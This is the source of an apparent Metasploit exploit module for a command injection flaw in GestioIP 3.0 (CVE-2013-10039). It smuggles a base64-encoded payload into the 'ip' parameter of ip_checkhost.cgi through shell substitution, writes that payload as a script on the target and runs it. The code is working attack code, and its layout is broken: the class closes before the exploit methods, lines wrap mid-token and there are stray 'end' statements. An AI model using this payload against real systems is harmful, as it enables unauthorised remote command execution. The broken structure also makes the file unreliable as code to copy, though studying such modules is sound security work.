

```

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'GestioIP Remote Command Execution',
        'Description' => %q{
          This module exploits a command injection flaw to create a shell script
          on the filesystem and execute it. If GestioIP is configured to use no
authentication,
          no password is required to exploit the vulnerability. Otherwise, an authenticated
          user is required to exploit.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'bperry' # Initial Discovery and metasploit module
        ],
        'References' => [
          [ 'CVE', '2013-10039' ],
          [ 'URL',
'http://sourceforge.net/p/gestioip/gestioip/ci/ac67be9fce5ee4c0438d27dfa5c1dcbca08c457c/' ],
# Patch
          [ 'URL', 'https://github.com/rapid7/metasploit-framework/pull/2461' ], # First
disclosure
          [ 'URL', 'https://www.rapid7.com/blog/post/2013/10/03/gestioip-authenticated-
remote-command-execution-module' ]
        ],
        'Payload' => {
          'Space' => 475, # not a lot of room
          'DisableNops' => true,
          'BadChars' => "",
        },
        'Platform' => [ 'unix' ],
        'Arch' => ARCH_CMD,
        'Targets' => [[ 'Automatic GestioIP 3.0', {} ]],
        'Privileged' => false,
        'DisclosureDate' => '2013-10-04',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'URI', '/gestioip/']),
        OptString.new('HttpUsername', [false, 'The username to auth as', 'gipadmin']),
        OptString.new('HttpPassword', [false, 'The password to auth with', nil])
      ]
    )
  end
end

```

```

def post_auth?
  true
end

def user
  datastore['HttpUsername']
end

def pass
  datastore['HttpPassword']
end

def use_auth
  !(pass.nil? or pass.empty?)
end

def exploit
  pay = Rex::Text.encode_base64(payload.encoded)
  file = Rex::Text.rand_text_alpha(8)

  options = {
    'uri' => normalize_uri(target_uri.path, "ip_checkhost.cgi"),
    'encode_params' => false,
    'vars_get' => {
      'ip' => "2607:f0d0:$(echo${IFS}" + pay + "|base64${IFS}--decode|tee${IFS}" + file +
"&&sh${IFS}" + file + "):0000:0000:0000:0000:0004",
      'hostname' => "fds",
      'client_id' => "1",
      'ip_version' => ""
    }
  }

  if use_auth
    options.merge!('authorization' => basic_auth(user, pass))
  end

  res = send_request_cgi(options)

  if res and res.code == 401
    fail_with(Failure::NoAccess, "#{rhost}:#{rport} - Please provide USERNAME and
PASSOWRD")
  end
end
end
end

```